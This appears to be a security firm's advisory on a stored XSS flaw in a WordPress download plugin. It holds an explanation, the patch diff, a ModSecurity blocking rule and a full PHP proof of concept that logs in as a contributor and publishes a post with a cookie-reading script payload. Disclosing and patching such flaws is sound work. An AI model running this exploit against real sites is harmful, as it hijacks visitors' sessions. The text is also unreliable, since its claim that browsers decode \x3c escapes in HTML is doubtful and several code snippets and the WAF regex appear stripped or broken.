Atomic Edge analysis of CVE-2026-13733:
This vulnerability is a Stored Cross-Site Scripting (XSS) issue found in the WordPress Download Manager plugin, version 3.3.60 and earlier. It affects the ‘no_data_msg’ attribute of the [wpdm_all_packages] shortcode. Authenticated attackers with Contributor-level access or higher can inject arbitrary web scripts. These scripts execute when any user views a page containing the malicious shortcode.
The root cause is a discrepancy between WordPress’s content sanitization and the plugin’s output rendering. WordPress applies wp_kses_post() when saving post content. This function strips HTML tokens like tags. However, it does not neutralize C-style escape sequences (e.g., x3c script x3e). An attacker can embed these sequences within the ‘no_data_msg’ shortcode attribute value. The wp_kses_post() filter passes the encoded string as safe text. When the shortcode renders, the plugin outputs this value without escaping. The browser processes the escape sequences, reconstructing a raw script tag. The vulnerable code is in /wp-content/plugins/download-manager/src/Package/Shortcodes.php, around line 401, where $params[‘no_data_msg’] is retrieved. The template file /wp-content/plugins/download-manager/src/Package/views/all-packages-shortcode.php at line 396 uses an unescaped echo: .
An attacker with a Contributor account creates or edits a post. They insert the shortcode [wpdm_all_packages no_data_msg=”\x3cscript\x3ealert(1)\x3c/script\x3e”]. The escape sequences bypass wp_kses_post() during save. When the page renders, the browser interprets them as literal characters, constructing a tag. The attacker can replace ‘alert(1)’ with any JavaScript payload for cookie theft, session hijacking, or keylogging.
The patch introduces two changes. First, in Shortcodes.php (line 401), it applies sanitize_text_field() to $params[‘no_data_msg’] before use. This function strips all HTML tags, eliminating literal and encoded markup alike. Second, in the template file (line 396), it wraps the output in esc_html(): . Even if a bypass survives sanitize_text_field(), esc_html() converts special characters to HTML entities, neutralizing any remaining encoded payloads.
Successful exploitation allows an attacker to inject persistent JavaScript into WordPress pages. This can lead to session cookie theft, redirection to malicious sites, defacement, or privileged actions on behalf of an administrator (e.g., creating new admin accounts). The attack requires Contributor-level access, reducing severity. However, the stored nature means every visitor to the affected page is compromised.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/download-manager/download-manager.php
+++ b/download-manager/download-manager.php
@@ -5,7 +5,7 @@
Description: Manage, Protect and Track file downloads, and sell digital products from your WordPress site. A complete digital asset management solution.
Author: W3 Eden, Inc.
Author URI: https://www.wpdownloadmanager.com/
-Version: 3.3.60
+Version: 3.3.61
Text Domain: download-manager
Domain Path: /languages
*/
@@ -40,7 +40,7 @@
global $WPDM;
-define('WPDM_VERSION','3.3.60');
+define('WPDM_VERSION','3.3.61');
define('WPDM_TEXT_DOMAIN','download-manager');
--- a/download-manager/src/Package/Shortcodes.php
+++ b/download-manager/src/Package/Shortcodes.php
@@ -401,6 +401,14 @@
$params = __::a($params, ['items_per_page' => 20]);
+ // Defense-in-depth: a contributor-supplied "no data" message must not be
+ // able to smuggle markup into the shortcode output. sanitize_text_field()
+ // strips literal tags here and the value is also escaped with esc_html()
+ // at render time (neutralizing entity-encoded payloads like <script>).
+ if (isset($params['no_data_msg'])) {
+ $params['no_data_msg'] = sanitize_text_field($params['no_data_msg']);
+ }
+
$items = isset($params['items_per_page']) && $params['items_per_page'] > 0 ? (int)$params['items_per_page'] : 20;
$offset = $cp = 0;
if (isset($params['jstable']) && (int)$params['jstable'] === 1) {
--- a/download-manager/src/Package/views/all-packages-shortcode.php
+++ b/download-manager/src/Package/views/all-packages-shortcode.php
@@ -393,7 +393,7 @@
<tr>
<td colspan="4" class="text-center">
- <?php echo isset($params['no_data_msg']) && $params['no_data_msg']!=''?$params['no_data_msg']:__('No Packages Found','download-manager'); ?>
+ <?php echo isset($params['no_data_msg']) && $params['no_data_msg']!='' ? esc_html($params['no_data_msg']) : __('No Packages Found','download-manager'); ?>
</td>
</tr>
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-13733
# Blocks XSS injection via 'no_data_msg' shortcode attribute in Download Manager plugin
SecRule REQUEST_URI "@rx /wp-admin/post.php" "id:20261373,phase:2,deny,status:403,chain,msg:'CVE-2026-13733 Stored XSS via no_data_msg shortcode',severity:'CRITICAL',tag:'CVE-2026-13733'"
SecRule REQUEST_METHOD "@streq POST" "chain"
SecRule ARGS_POST:content "@rx <(script|iframe|img|svg|input)[x00-x20>]" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-13733 - Download Manager <= 3.3.60 - Authenticated (Contributor+) Stored XSS via 'no_data_msg' Shortcode Attribute
$target_url = 'http://example.com'; // CHANGE THIS to your target WordPress site URL
$username = 'contributor'; // CHANGE THIS to a contributor or higher account
$password = 'password'; // CHANGE THIS to the account password
// Step 1: Authenticate and get WordPress nonce and cookie
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1,
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
curl_close($ch);
// Step 2: Get the add new post page to extract _wpnonce
$new_post_url = $target_url . '/wp-admin/post-new.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $new_post_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
// Extract nonce using regex (practical PoC, adjust if needed)
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $response, $matches);
$nonce = isset($matches[1]) ? $matches[1] : '';
preg_match('/name="_wp_http_referer" value="([^"]+)"/', $response, $matches);
$referer = isset($matches[1]) ? urldecode($matches[1]) : '';
if (empty($nonce)) {
die('Failed to extract nonce. Check login credentials and target URL.');
}
// Step 3: Create a new post with the malicious shortcode
$post_data = [
'_wpnonce' => $nonce,
'_wp_http_referer' => $referer,
'user_ID' => 2, // Adjust based on user ID (get from admin)
'action' => 'editpost',
'originalaction' => 'editpost',
'post_type' => 'post',
'post_status' => 'publish',
'post_title' => 'XSS Test',
'content' => '[wpdm_all_packages no_data_msg="\x3cscript\x3ealert(document.cookie)\x3c/script\x3e"]',
'publish' => 'Publish',
];
$publish_url = $target_url . '/wp-admin/post.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $publish_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);
// Check if post was created (redirect to post edit page)
if (strpos($response, 'post.php?post=') !== false) {
echo "[+] Post created successfully. Visit the target URL to see the XSS payload execute.n";
} else {
echo "[-] Post creation failed. Check error output.n";
}
// Clean up cookie file
unlink('/tmp/cookies.txt');
?>